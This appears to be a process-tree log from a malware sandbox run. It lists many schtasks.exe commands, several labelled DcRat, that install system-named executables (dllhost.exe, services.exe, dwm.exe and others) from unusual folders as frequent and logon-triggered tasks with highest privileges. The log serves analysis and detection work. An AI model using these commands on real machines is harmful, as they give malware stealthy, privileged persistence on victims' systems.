C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Photo Viewer\ja-JP\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:964

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Photo Viewer\ja-JP\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:1684

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\ja-JP\dllhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:1872

C:\Windows\helppane.exe
C:\Windows\helppane.exe -Embedding
1⤵
PID:2016

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\ja-JP\dllhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Photo Viewer\ja-JP\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Photo Viewer\ja-JP\dllhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:2380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\Videos\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
PID:3004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\Videos\sppsvc.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:2676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Admin\Videos\sppsvc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:292

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Admin\Videos\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2824

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\Videos\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\Videos\sppsvc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 9 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\services.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:904

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 9 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\services.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\services.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 8 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\services.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1628

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "malecusm" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\PrintHood\malecus.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:2120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 8 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2204

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "malecus" /sc ONLOGON /tr "'C:\Users\Admin\PrintHood\malecus.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "malecusm" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\PrintHood\malecus.exe'" /f
1⤵
- Process spawned unexpected child process
PID:2860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "malecus" /sc ONLOGON /tr "'C:\Users\Admin\PrintHood\malecus.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:344

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "malecusm" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\PrintHood\malecus.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:1492

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "malecusm" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\PrintHood\malecus.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:1944

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 12 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\dwm.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2312

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\dwm.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 12 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\dwm.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\dwm.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:2616

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 12 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 7 /tr "'C:\Program Files\Uninstall Information\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 12 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\dwm.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1812

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 7 /tr "'C:\Program Files\Uninstall Information\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2144

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1808

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 8 /tr "'C:\Program Files\Uninstall Information\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2808

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 8 /tr "'C:\Program Files\Uninstall Information\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:3160

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3172

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3192

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3200

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3232

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "LightNeuronX0L" /sc MINUTE /mo 5 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\LightNeuronX0.exe'" /f
1⤵
- Process spawned unexpected child process
PID:3240

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "LightNeuronX0" /sc ONLOGON /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\LightNeuronX0.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3272

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "LightNeuronX0L" /sc MINUTE /mo 5 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\LightNeuronX0.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3284

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "LightNeuronX0" /sc ONLOGON /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\LightNeuronX0.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3308

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "LightNeuronX0L" /sc MINUTE /mo 6 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\LightNeuronX0.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3320

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Google\CrashReports\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /f
1⤵
- Process spawned unexpected child process
PID:3364

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "LightNeuronX0L" /sc MINUTE /mo 6 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\LightNeuronX0.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\CrashReports\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:3404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Google\CrashReports\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:3416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Google\CrashReports\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3436

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\CrashReports\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winhlp32w" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Recorded TV\Sample Media\winhlp32.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:3480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Google\CrashReports\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3488

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winhlp32" /sc ONLOGON /tr "'C:\Users\Public\Recorded TV\Sample Media\winhlp32.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:3520

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winhlp32w" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Recorded TV\Sample Media\winhlp32.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3536

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winhlp32w" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Recorded TV\Sample Media\winhlp32.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winhlp32" /sc ONLOGON /tr "'C:\Users\Public\Recorded TV\Sample Media\winhlp32.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:3576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Happy18H" /sc MINUTE /mo 8 /tr "'C:\Program Files\Java\jre7\lib\zi\Happy18.exe'" /f
1⤵
- DcRat
PID:3592

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winhlp32w" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Recorded TV\Sample Media\winhlp32.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3604

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Happy18" /sc ONLOGON /tr "'C:\Program Files\Java\jre7\lib\zi\Happy18.exe'" /rl HIGHEST /f
1⤵
PID:3632

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Happy18H" /sc MINUTE /mo 8 /tr "'C:\Program Files\Java\jre7\lib\zi\Happy18.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Happy18H" /sc MINUTE /mo 12 /tr "'C:\Program Files\Java\jre7\lib\zi\Happy18.exe'" /rl HIGHEST /f
1⤵
PID:3664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Happy18" /sc ONLOGON /tr "'C:\Program Files\Java\jre7\lib\zi\Happy18.exe'" /rl HIGHEST /f
1⤵
PID:3696

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 7 /tr "'C:\Program Files\7-Zip\dwm.exe'" /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:3708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Happy18H" /sc MINUTE /mo 12 /tr "'C:\Program Files\Java\jre7\lib\zi\Happy18.exe'" /rl HIGHEST /f
1⤵
PID:3724

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Program Files\7-Zip\dwm.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:3748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 7 /tr "'C:\Program Files\7-Zip\dwm.exe'" /f
1⤵
- DcRat
PID:3768

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'C:\Program Files\7-Zip\dwm.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Program Files\7-Zip\dwm.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:3808

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 12 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3820

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'C:\Program Files\7-Zip\dwm.exe'" /rl HIGHEST /f
1⤵
PID:3840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219" /sc ONLOGON /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:3848

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 12 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /f
1⤵
PID:3892

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 9 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:3912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219" /sc ONLOGON /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
PID:3952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae7" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:3972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 9 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
PID:3996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae" /sc ONLOGON /tr "'C:\Users\Admin\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:4028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae7" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:4040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae7" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:4072

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae" /sc ONLOGON /tr "'C:\Users\Admin\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:4092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /f
1⤵
- DcRat
PID:1852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae7" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:3136

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3168

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /f
1⤵
- DcRat
PID:3216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:3184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 14 /tr "'C:\Windows\Microsoft.NET\assembly\WMIADAP.exe'" /f
1⤵
- DcRat
PID:3252

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
PID:3264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAP" /sc ONLOGON /tr "'C:\Windows\Microsoft.NET\assembly\WMIADAP.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:3316

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 14 /tr "'C:\Windows\Microsoft.NET\assembly\WMIADAP.exe'" /f
1⤵
- DcRat
PID:3356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 5 /tr "'C:\Windows\Microsoft.NET\assembly\WMIADAP.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3396

C:\Windows\system32\schtasks.exe
